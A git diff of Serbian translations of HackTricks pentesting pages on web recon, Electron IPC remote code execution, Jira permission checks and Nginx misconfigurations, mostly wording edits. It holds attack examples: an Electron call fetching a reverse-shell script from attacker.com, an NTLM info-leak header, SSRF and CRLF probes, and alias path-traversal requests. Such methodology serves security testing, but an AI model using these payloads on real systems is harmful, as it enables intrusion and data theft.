file.tmp i file.old._ Možete koristiti alatke [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -* **Otkrijte nove parametre**: Možete koristiti alatke poput [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, možete pokušati da pronađete** skrivene parametre na svakom izvršnom veb fajlu. -* _Arjun sve podrazumevane wordlist-e:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) +* [**Provera pokvarenih linkova**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML datoteka koji mogu biti podložni preuzimanju +* **Rezervne kopije datoteka**: Kada pronađete sve datoteke, potražite rezervne kopije svih izvršnih datoteka ("_.php_", "_.aspx_"...). Uobičajene varijacije za nazivanje rezervne kopije su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Možete koristiti alatke [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +* **Otkrijte nove parametre**: Možete koristiti alatke poput [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, možete pokušati da pronađete** skrivene parametre u svakoj izvršnoj web datoteci. +* _Svi podrazumevani wordlistovi Arjuna:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) * _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -* **Komentari:** Proverite komentare svih fajlova, možete pronaći **kredencijale** ili **skrivenu funkcionalnost**. -* Ako igrate **CTF**, "obična" prevara je **sakriti** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** kako ne biste videli podatke ako otvorite izvorni kod pretraživačem). Druga mogućnost je koristiti **nekoliko novih linija** i **sakriti informacije** u komentaru na **dnu** veb stranice. +* **Komentari:** Proverite komentare svih datoteka, možete pronaći **poverljive informacije** ili **skrivene funkcionalnosti**. +* Ako igrate **CTF**, "obična" prevara je **sakriti informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** kako ne biste videli podatke ako otvorite izvorni kod pretraživačem). Druga mogućnost je koristiti **nekoliko novih linija** i **sakriti informacije** u komentaru na **dnu** web stranice. * **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji pokazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -* Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje api-jevi ključ može pristupiti. +* Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti. * **S3 Bucketi**: Dok spideringa, proverite da li je bilo koji **poddomen** ili bilo koji **link** povezan sa nekim **S3 bucketom**. U tom slučaju, [**proverite** dozvole **bucket-a**](buckets/). ### Posebna otkrića **Tokom** izvođenja **spideringa** i **brute-forcinga** možete pronaći **interesantne** **stvari** koje treba **primetiti**. -**Interesantni fajlovi** +**Interesantne datoteke** -* Potražite **linkove** ka drugim fajlovima unutar **CSS** fajlova. -* [Ako pronađete _**.git**_ fajl, neke informacije mogu biti izvučene](git.md) +* Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka. +* [Ako pronađete _**.git**_ datoteku, neke informacije mogu biti izvučene](git.md) * Ako pronađete _**.env**_ informacije poput API ključeva, lozinki za baze podataka i druge informacije mogu biti pronađene. -* Ako pronađete **API endpointe** [takođe ih treba testirati](web-api-pentesting.md). Ovo nisu fajlovi, ali će verovatno "izgledati kao" njih. -* **JS fajlovi**: U delu o spideringu pomenute su neke alatke koje mogu izvući putanje iz JS fajlova. Takođe bi bilo interesantno **pratiti svaki pronađeni JS fajl**, jer u nekim situacijama, promena može ukazivati da je potencijalna ranjivost uneta u kod. Možete koristiti na primer [**JSMon**](https://github.com/robre/jsmon)**.** -* Takođe biste trebali proveriti pronađene JS fajlove sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste videli da li su ranjivi. +* Ako pronađete **API endpointe** trebalo bi ih [testirati](web-api-pentesting.md). Ovo nisu datoteke, ali će verovatno "izgledati kao" njih. +* **JS datoteke**: U delu o spideringu pomenute su neke alatke koje mogu izvući putanje iz JS datoteka. Takođe, bilo bi interesantno **pratiti svaku pronađenu JS datoteku**, jer u nekim situacijama, promena može ukazivati da je potencijalna ranjivost uneta u kod. Možete koristiti na primer [**JSMon**](https://github.com/robre/jsmon)**.** +* Takođe biste trebali proveriti pronađene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste videli da li su ranjive. * **Deobfuskator i dekoder JavaScript-a:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) * **JavaScript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) * **JsFuck deobfuskacija** (javascript sa karakterima:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` * U nekoliko situacija će vam biti potrebno **razumeti regularne izraze** koji se koriste, ovo će biti korisno: [https://regex101.com/](https://regex101.com) -* Takođe biste mogli **pratiti fajlove gde su otkrivene forme**, jer promena u parametru ili pojava nove forme može ukazivati na potencijalno novu ranjivu funkcionalnost. +* Takođe biste mogli **pratiti datoteke gde su otkrivene forme**, jer promena u parametru ili pojava nove forme može ukazivati na potencijalno novu ranjivu funkcionalnost. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -323,15 +323,15 @@ _Napomena da svaki put kada se otkrije nova direktorijum tokom brute-forcinga il **502 Proxy Error** -Ako bilo koja stranica **odgovori** tim **kodom**, verovatno je loše konfigurisan proxy. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host zaglavljem i ostalim uobičajenim zaglavljima), proxy će pokušati da pristupi _**google.com**_ **i otkrićete SSRF.** +Ako bilo koja stranica **odgovori** tim **kodom**, verovatno je loše konfigurisan proxy. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host zaglavljem i ostalim uobičajenim zaglavljima), **proxy** će pokušati da pristupi _**google.com**_ **i otkrićete SSRF. **NTLM Autentikacija - Otkrivanje informacija** -Ako pokrenuti server traži autentikaciju **Windows**-a ili pronađete prijavu koja traži vaše **kredencijale** (i traži **ime domena**), možete izazvati **otkrivanje informacija**.\ +Ako pokrenuti server traži autentikaciju sa **Windows** ili pronađete prijavu koja traži vaše **kredencijale** (i traži **ime domena**), možete izazvati **otkrivanje informacija**.\ **Pošaljite** zaglavlje: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog toga kako **NTLM autentikacija funkcioniše**, server će odgovoriti sa internim informacijama (verzija IIS-a, verzija Windows-a...) unutar zaglavlja "WWW-Authenticate".\ Ovo možete **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_". -**HTTP Preusmerenje (CTF)** +**HTTP Redirect (CTF)** Moguće je **ubaciti sadržaj** unutar **Preusmerenja**. Taj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti preusmerenje), ali nešto bi moglo biti **sakriveno** unutra. ### Provera ranjivosti veb stranica @@ -342,7 +342,7 @@ Sada kada je obavljena sveobuhvatna enumeracija veb aplikacije, vreme je da se p [web-vulnerabilities-methodology](../../pentesting-web/web-vulnerabilities-methodology/) {% endcontent-ref %} -Pronađite više informacija o ranjivostima veb stranica na: +Pronađite više informacija o veb ranjivostima na: * [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) * [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html) @@ -352,13 +352,13 @@ Pronađite više informacija o ranjivostima veb stranica na: Možete koristiti alate poput [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) da biste pratili stranice za modifikacije koje bi mogle uneti ranjivosti. -
+
Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_). {% embed url="https://www.stmcyber.com/careers" %} -### HackTricks Automatske Komande +### Automatske komande HackTricks ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. @@ -436,7 +436,7 @@ Drugi načini da podržite HackTricks: * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md index 4fb0ce128..2d5d402a4 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md @@ -1,4 +1,4 @@ -# Electron contextIsolation RCE via IPC +# Electron contextIsolation RCE putem IPC-a
@@ -6,9 +6,9 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. @@ -22,7 +22,7 @@ Ako preload skripta izlaže IPC endpoint iz main.js fajla, proces renderer-a će Primer sa [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (imate kompletan primer kako je MS Teams zloupotrebljavao XSS do RCE u tim slajdovima, ovo je samo veoma osnovan primer): -
+
## Primer 1 @@ -85,7 +85,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh"); ``` ## Primer 2 -Ako preload skripta direktno izlaže rendereru način pozivanja `shell.openExternal`, moguće je dobiti RCE +Ako preload skripta direktno omogući rendereru da pozove `shell.openExternal`, moguće je dobiti RCE ```javascript // Part of preload.js code window.electronOpenInBrowser = (url) => { @@ -94,7 +94,7 @@ shell.openExternal(url); ``` ## Primer 3 -Ako preload skripta otkriva načine za potpunu komunikaciju sa glavnim procesom, XSS će moći poslati bilo koji događaj. Uticaj ovoga zavisi od toga šta glavni proces otkriva u pogledu IPC-a. +Ako preload skripta otkriva načine za potpunu komunikaciju sa glavnim procesom, XSS će moći da pošalje bilo koji događaj. Uticaj ovoga zavisi od toga šta glavni proces otkriva u pogledu IPC-a. ```javascript window.electronListen = (event, cb) => { ipcRenderer.on(event, cb); @@ -110,7 +110,7 @@ ipcRenderer.send(event, data); Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md index 8fc055035..79a12c76e 100644 --- a/network-services-pentesting/pentesting-web/jira.md +++ b/network-services-pentesting/pentesting-web/jira.md @@ -14,15 +14,15 @@ Drugi načini podrške HackTricks-u:
-
+
-Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pismeno tako i usmeno_). +Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje pisanog i govornog poljskog jezika_). {% embed url="https://www.stmcyber.com/careers" %} ### Provera privilegija -U Jira-i, **privilegije se mogu proveriti** od strane bilo kog korisnika, autentifikovanog ili ne, putem endpoint-ova `/rest/api/2/mypermissions` ili `/rest/api/3/mypermissions`. Ovi endpoint-ovi otkrivaju trenutne privilegije korisnika. Značajna zabrinutost se javlja kada **neautentifikovani korisnici imaju privilegije**, što ukazuje na **bezbednosnu ranjivost** koja potencijalno može biti kvalifikovana za **nagradu**. Slično tome, **neočekivane privilegije za autentifikovane korisnike** takođe ističu **ranjivost**. +U Jira-i, **privilegije se mogu proveriti** od strane bilo kog korisnika, autentifikovanog ili ne, putem endpoint-ova `/rest/api/2/mypermissions` ili `/rest/api/3/mypermissions`. Ovi endpoint-ovi otkrivaju trenutne privilegije korisnika. Značajna zabrinutost se javlja kada **neautentifikovani korisnici imaju privilegije**, što ukazuje na **bezbednosnu ranjivost** koja potencijalno može biti kvalifikovana za **nagradu**. Slično, **neočekivane privilegije za autentifikovane korisnike** takođe ističu **ranjivost**. Važno **ažuriranje** je napravljeno **1. februara 2019.**, zahtevajući da endpoint 'mypermissions' uključi **'permission' parametar**. Ovaj zahtev ima za cilj da **unapredi bezbednost** specificiranjem privilegija koje se upituju: [proverite ovde](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) @@ -78,7 +78,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h * [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe) * [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan) -
+
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). diff --git a/network-services-pentesting/pentesting-web/nginx.md b/network-services-pentesting/pentesting-web/nginx.md index 6123bc517..230e0a725 100644 --- a/network-services-pentesting/pentesting-web/nginx.md +++ b/network-services-pentesting/pentesting-web/nginx.md @@ -14,15 +14,15 @@ Drugi načini podrške HackTricks-u: -
+
-**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Trenutno dostupno podešavanje za procenu ranjivosti & testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju & eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se. {% embed url="https://pentest-tools.com/" %} ## Nedostajući root lokacija -## **Osnove konfigurisanja Nginx Root direktorijuma** +## **Osnove Konfigurisanja Nginx Root Direktorijuma** Prilikom konfigurisanja Nginx servera, **root direktiva** igra ključnu ulogu definisanjem osnovnog direktorijuma iz kog se serviraju fajlovi. Razmotrite primer ispod: ```bash @@ -37,7 +37,7 @@ proxy_pass http://127.0.0.1:8080/; ``` U ovoj konfiguraciji, `/etc/nginx` je određen kao korenski direktorijum. Ova postavka omogućava pristup fajlovima unutar određenog korenskog direktorijuma, poput `/hello.txt`. Međutim, važno je napomenuti da je definisana samo određena lokacija (`/hello.txt`). Ne postoji konfiguracija za korensku lokaciju (`location / {...}`). Ova izostavljena stavka znači da se direktiva korena primenjuje globalno, omogućavajući zahteve za korensku putanju `/` da pristupe fajlovima pod `/etc/nginx`. -Iz ove konfiguracije proizilazi ključno sigurnosno pitanje. Jednostavan `GET` zahtev, poput `GET /nginx.conf`, mogao bi otkriti osetljive informacije serviranjem Nginx konfiguracionog fajla koji se nalazi na lokaciji `/etc/nginx/nginx.conf`. Postavljanje korena na manje osetljiv direktorijum, poput `/etc`, moglo bi umanjiti ovaj rizik, ali i dalje može dozvoliti nenamerno pristupanje drugim kritičnim fajlovima, uključujući druge konfiguracione fajlove, pristupne logove, pa čak i šifrovane akreditive korišćene za HTTP osnovnu autentifikaciju. +Iz ove konfiguracije proizilazi kritično sigurnosno pitanje. Jednostavan `GET` zahtev, poput `GET /nginx.conf`, mogao bi otkriti osetljive informacije tako što bi poslužio Nginx konfiguracioni fajl koji se nalazi na lokaciji `/etc/nginx/nginx.conf`. Postavljanje korena na manje osetljiv direktorijum, poput `/etc`, moglo bi umanjiti ovaj rizik, ali i dalje može dozvoliti nenamerno pristupanje drugim kritičnim fajlovima, uključujući druge konfiguracione fajlove, pristupne zapise, pa čak i šifrovane akreditive korišćene za HTTP osnovnu autentifikaciju. ## Alias LFI Misconfiguracija @@ -47,7 +47,7 @@ location /imgs { alias /path/images/; } ``` -Ova konfiguracija je podložna LFI napadima zbog servera koji tumači zahteve poput `/imgs../flag.txt` kao pokušaj pristupa datotekama van namenjenog direktorijuma, efektivno se rešavajući u `/path/images/../flag.txt`. Ova greška omogućava napadačima da povrate datoteke sa serverskog fajl sistema koje ne bi trebalo da budu dostupne preko veba. +Ova konfiguracija je podložna LFI napadima zbog servera koji tumači zahteve poput `/imgs../flag.txt` kao pokušaj pristupa datotekama van namenjenog direktorijuma, efektivno se rešavajući u `/path/images/../flag.txt`. Ova greška omogućava napadačima da povrate datoteke sa fajl sistema servera koje ne bi trebalo da budu dostupne preko veba. Da bi se ublažila ova ranjivost, konfiguracija treba da bude prilagođena: ``` @@ -109,27 +109,27 @@ Detectify: clrf ``` Saznajte više o rizicima CRLF ubacivanja i razdvajanja odgovora na [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). -Takođe, ovu tehniku je **objašnjena u ovom govoru** sa nekim ranjivim primerima i mehanizmima detekcije. Na primer, kako biste otkrili ovu lošu konfiguraciju iz crne kutije, možete koristiti ove zahteve: +Takođe, ovu tehniku je **objašnjena u ovom govoru**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) sa nekim ranjivim primerima i mehanizmima detekcije. Na primer, kako biste otkrili ovu lošu konfiguraciju iz crne kutije, možete koristiti ove zahteve: -- `https://example.com/%20X` - Bilo koji HTTP kod -- `https://example.com/%20H` - 400 Bad Request +* `https://example.com/%20X` - Bilo koji HTTP kod +* `https://example.com/%20H` - 400 Bad Request -Ako je ranjiv, prvi će vratiti "X" jer je X bilo koji HTTP metod, a drugi će vratiti grešku jer H nije validan metod. Dakle, server će primiti nešto poput: `GET / H HTTP/1.1` i to će izazvati grešku. +Ako je ranjiv, prvi će vratiti "X" jer je bilo koji HTTP metod, a drugi će vratiti grešku jer H nije validan metod. Dakle, server će primiti nešto poput: `GET / H HTTP/1.1` i to će izazvati grešku. Još neki primeri detekcije bi bili: -- `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Bilo koji HTTP kod -- `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request +* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Bilo koji HTTP kod +* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request Neki pronađeni ranjivi konfiguracije prikazani u tom govoru su: -- Primetite kako je **`$uri`** postavljen kao što je u konačnom URL-u +* Primetite kako je **`$uri`** postavljen kao što je u konačnom URL-u. ``` location ^~ /lite/api/ { proxy_pass http://lite-backend$uri$is_args$args; } ``` -* Obratite pažnju kako je ponovo **`$uri`** u URL-u (ovaj put unutar parametra) +* Obratite pažnju kako se ponovo **`$uri`** nalazi u URL-u (ovaj put unutar parametra) ``` location ~ ^/dna/payment { rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break; @@ -143,17 +143,17 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri; ``` ### Bilo koja promenljiva -Otkriveno je da se **podaci koje je korisnik dostavio** mogu tretirati kao **Nginx promenljiva** u određenim okolnostima. Uzrok ovog ponašanja ostaje donekle nejasan, ali nije retko niti jednostavno proveriti. Ova anomalija je istaknuta u izveštaju o bezbednosti na HackerOne platformi, koji možete pogledati [ovde](https://hackerone.com/reports/370094). Dalje istraživanje poruke o grešci dovelo je do identifikacije njenog pojavljivanja unutar [SSI filter modula Nginx-ove baze koda](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), označavajući Server Side Includes (SSI) kao koreni uzrok. +Otkriveno je da bi **podaci koje korisnik dostavlja** mogli biti tretirani kao **Nginx promenljiva** u određenim okolnostima. Uzrok ovog ponašanja ostaje delimično nejasan, ali nije retko niti jednostavno proveriti. Ova anomalija je istaknuta u izveštaju o bezbednosti na HackerOne platformi, koji možete pogledati [ovde](https://hackerone.com/reports/370094). Dalje istraživanje poruke o grešci dovelo je do identifikacije njenog pojavljivanja unutar [SSI filter modula Nginx-ove osnove koda](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), označavajući Server Side Includes (SSI) kao koreni uzrok. -Da biste **otkrili ovu lošu konfiguraciju**, može se izvršiti sledeća komanda, koja uključuje postavljanje referer zaglavlja radi testiranja ispisivanja promenljive: +Za **otkrivanje ove loše konfiguracije**, može se izvršiti sledeća komanda, koja uključuje postavljanje referer zaglavlja kako bi se testiralo štampanje promenljive: ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` Skenovi za ovu konfiguraciju na različitim sistemima otkrili su više slučajeva gde Nginx promenljive mogu biti prikazane od strane korisnika. Međutim, smanjenje broja ranjivih instanci sugeriše da su napori za popravku ovog problema donekle uspešni. -## Čitanje sirovog odgovora sa serverske strane +## Čitanje sirovog odgovora sa servera -Nginx nudi funkciju putem `proxy_pass` koja omogućava presretanje grešaka i HTTP zaglavlja proizvedenih od strane serverske strane, sa ciljem skrivanja internih poruka o greškama i zaglavlja. Ovo se postiže tako što Nginx servira prilagođene stranice grešaka kao odgovor na greške serverske strane. Međutim, javljaju se izazovi kada Nginx naiđe na nevažeći HTTP zahtev. Takav zahtev se prosleđuje serverskoj strani onako kako je primljen, i sirovi odgovor serverske strane se zatim direktno šalje klijentu bez posredovanja Nginxa. +Nginx nudi funkciju putem `proxy_pass` koja omogućava presretanje grešaka i HTTP zaglavlja proizvedenih od strane servera, sa ciljem skrivanja internih poruka o greškama i zaglavlja. Ovo se postiže tako što Nginx služi prilagođene stranice grešaka kao odgovor na greške servera. Međutim, izazovi se javljaju kada Nginx naiđe na nevažeći HTTP zahtev. Takav zahtev se prosleđuje serveru onako kako je primljen, a sirovi odgovor servera se zatim direktno šalje klijentu bez posredovanja Nginxa. Razmotrimo primer scenarija koji uključuje uWSGI aplikaciju: ```python @@ -169,14 +169,14 @@ proxy_intercept_errors on; proxy_hide_header Secret-Header; } ``` -* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ova direktiva omogućava Nginx-u da posluži prilagođeni odgovor za odgovore sa servera sa statusnim kodom većim od 300. To osigurava da, za naš primer aplikacije uWSGI, odgovor `500 Error` bude presretnut i obrađen od strane Nginx-a. +* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ova direktiva omogućava Nginx-u da posluži prilagođeni odgovor za odgovore sa servera sa statusnim kodom većim od 300. Osigurava da, za naš primer aplikacije uWSGI, odgovor `500 Error` bude presretnut i obrađen od strane Nginx-a. * [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Kao što naziv sugeriše, ova direktiva skriva određene HTTP zaglavlja od klijenta, poboljšavajući privatnost i bezbednost. Kada se napravi validan `GET` zahtev, Nginx ga obrađuje na uobičajen način, vraćajući standardni grešni odgovor ne otkrivajući nikakva tajna zaglavlja. Međutim, nevažeći HTTP zahtev zaobilazi ovaj mehanizam, rezultirajući izlaganjem sirovih odgovora sa servera, uključujući tajna zaglavlja i poruke o greškama. ## merge\_slashes postavljen na off -Podrazumevano, **`merge_slashes` direktiva** u Nginx-u je postavljena na **`on`**, što komprimuje višestruke kosine kose u URL-u u jednu kosu. Ova funkcija, dok olakšava obradu URL-ova, može nenamerno prikriti ranjivosti u aplikacijama iza Nginx-a, posebno onima sklonim napadima lokalnog uključivanja fajlova (LFI). Bezbednosni stručnjaci **Danny Robinson i Rotem Bar** su istakli potencijalne rizike povezane sa ovim podrazumevanim ponašanjem, posebno kada Nginx deluje kao reverzni proxy. +Podrazumevano, **`merge_slashes` direktiva** u Nginx-u je postavljena na **`on`**, što komprimuje višestruke kosine kose u URL-u u jednu kosu. Ova funkcija, dok olakšava obradu URL-ova, može nenamerno prikriti ranjivosti u aplikacijama iza Nginx-a, posebno one sklonije napadima lokalnog uključivanja fajlova (LFI). Bezbednosni stručnjaci **Danny Robinson i Rotem Bar** su istakli potencijalne rizike povezane sa ovim podrazumevanim ponašanjem, posebno kada Nginx deluje kao reverzni proxy. Da bi se umanjili takvi rizici, preporučuje se **isključivanje `merge_slashes` direktive** za aplikacije koje su podložne ovim ranjivostima. Ovo osigurava da Nginx prosleđuje zahteve aplikaciji bez menjanja strukture URL-a, čime se ne prikrivaju potencijalni sigurnosni problemi. @@ 